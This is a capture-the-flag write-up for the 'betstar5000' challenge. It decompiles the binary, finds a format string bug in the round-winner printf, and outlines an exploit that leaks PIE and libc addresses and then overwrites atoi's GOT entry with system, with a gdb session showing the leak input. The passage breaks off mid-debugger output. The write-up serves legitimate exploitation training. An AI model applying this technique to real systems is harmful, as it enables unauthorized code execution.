# Watevr ctf 2019 betstar5000

This writeup goes out to noopnoop, for his eternal love of format strings.

Let's take a look at the binary / libc:

```
$    ./betstar5000
Welcome to the ultimate betting service.
Enter the amount of players: 1
Name: guy
Alright, now let's start!
1. Play a round
2. View scores
3. Add a latecommer
4. Edit player name
5. End the game
$    file betstar5000
betstar5000: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0cea1b37b35e6e7002492e7b8ac6175882fb6212, stripped
$    pwn checksec betstar5000
[*] '/Hackery/watev/betstar/betstar5000'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
```

So we can see the libc version is `2.27.so`. The binary appears to be a betting game. It allows us to make some players, add players later on, view the players names and score, and edit the player name.

We can see that the binary has `pie`, `NX`, and a stack canary. It is a `32` bit binary.

## Reversing

When we take a look at the function at pie offset `0xb17` in ghidra (although Ghidra rebases it to `0x10b17`) we see this:

```
/* WARNING: Function: __i686.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void basicallyMain(void)

{
  void **ptrz;
  uint __seed;
  void *innerPtr;
  int in_GS_OFFSET;
  time_t local_4c;
  undefined4 local_48;
  int players;
  int i;
  void *ptr;
  uint menuOption;
  char acStack46 [10];
  undefined4 local_24;
  undefined *puStack20;
 
  puStack20 = &stack0x00000004;
  local_24 = *(undefined4 *)(in_GS_OFFSET + 0x14);
  __seed = time(&local_4c);
  srand(__seed);
  local_48 = 0;
  puts("Welcome to the ultimate betting service.");
  printf("%s","Enter the amount of players: ");
  fgets(acStack46,3,stdin);
  players = atoi(acStack46);
  ptr = malloc((players + 6) * 8);
  i = 0;
  while (i < players) {
    ptrz = (void **)(i * 8 + (int)ptr);
    innerPtr = malloc(4);
    *ptrz = innerPtr;
    printf("%s","Name: ");
    fgets(*(char **)((int)ptr + i * 8),10,stdin);
    strtok(*(char **)((int)ptr + i * 8),"\n");
    i = i + 1;
  }
  printf("%s","Alright, now let\'s start!");
  while( true ) {
    menuOption = getMenu();
    if (menuOption < 6) break;
    puts("I think you missed a key there");
  }
                    /* WARNING: Could not recover jumptable at 0x00010ca7. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  (*(code *)((int)&__DT_PLTGOT + *(int *)(&DAT_00011250 + menuOption * 4)))();
  return;
}
```

So we can see some things here regarding this binary. We see that it allocates some space, and allows us to write user names to it. We also see that that there is some sort of jump function happening at the end. While I reversed this, I found several different bugs. In addition to that there was a lot of functionality in the binary that I didn't reverse out fully. However due to the constraints of code, I only ended up using a single bug. That bug was within the function responsible for playing a game, at pie offset `0x831` (ghidra rebased it to `0x10831`):

```

/* WARNING: Function: __i686.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void playRound(int param_1)

{
  int numPlayers;
  int iVar1;
  char *__nptr;
  int iVar2;
  uint uVar3;
  uint uVar4;
  int in_GS_OFFSET;
  int local_74;
  int local_70;
  int i;
  char local_5a [5];
  char local_55 [5];
  char acStack80 [64];
  int local_10;
 
  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  fflush(stdout);
  printf("%s","Amount of players playing this round: ");
  fgets(local_5a,5,stdin);
  numPlayers = atoi(local_5a);
  puts("Each player makes a bet between 0 -> 100, the one who lands closest win the round!");
  iVar1 = rand();
  local_74 = -1;
  local_70 = 100;
  i = 0;
  while (i < numPlayers) {
    printf("%s",*(undefined4 *)(param_1 + i * 8));
    printf("\'s bet: ");
    __nptr = fgets(local_55,5,stdin);
    iVar2 = atoi(__nptr);
    uVar3 = (iVar1 % 100 + 1) - iVar2;
    uVar4 = (int)uVar3 >> 0x1f;
    if ((int)((uVar3 ^ uVar4) - uVar4) < local_70) {
      local_74 = i;
      strcpy(acStack80,*(char **)(param_1 + i * 8));
      local_70 = iVar2;
    }
    i = i + 1;
  }
  printf("%s","And the winner is *drumroll*: ");
  printf(acStack80);
  *(int *)(param_1 + local_74 * 8 + 4) = *(int *)(param_1 + local_74 * 8 + 4) + 1;
  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
    FUN_00010f80();
  }
  return;
}
```

We can see that there is a format string bug here:

```
  printf(acStack80);
```

Essentially this function works like this. You specify the number of players playing. Each player specifies a value between `0 - 100` that they are guessing. Whoever guesses closer wins. Whoever wins has their name printed in the printf statement above. Since we control the name, we control the input to the `printf` statement, hence we have a format string bug. In order to leverage this into `rce`, there are several different constraints we need to address.

## Exploitation

So my exploit worked like this. First off we get `pie` and `libc` infoleaks, so we know the address space for those two regions. After that we can just do a got overwrite over `atoi` with `system`. For the menu, our input is passed to `atoi`, and since `atoi` and `system` take the same arguments, we will be good. In addition to that `atoi` isn't called anywhere that will DOS the process.

## Infoleak

Let's take a look at how we are doing the `PIE` and `LIBC` infoleak.

```
gef➤  pie b *0x9df
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)
Welcome to the ultimate betting service.
Enter the amount of players: 1
Name: %x.%x
Alright, now let's start!
1. Play a round
2. View scores
3. Add a latecommer
4. Edit player name
5. End the game
1
Amount of players playing this round: 1
Each player makes a bet between 0 -> 100, the one who lands closest win the round!
%x.%x's bet: 1

Breakpoint 1, 0x565559df in ?? ()
[+] base address 0x56555000
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd06c  →  "%x.%x"
$ebx   : 0x56557540  →  0x0000242c (",$"?)
$ecx   : 0x0       
$edx   : 0xf7fb6890  →  0x00000000
$esp   : 0xffffd020  →  0xffffd06c  →  "%x.%x"
$ebp   : 0xffffd0b8  →  0xffffd118  →  0x00000000
$esi   : 0x56558980  →  0x565589c0  →  "%x.%x"
$edi   : 0x0       
$eip   :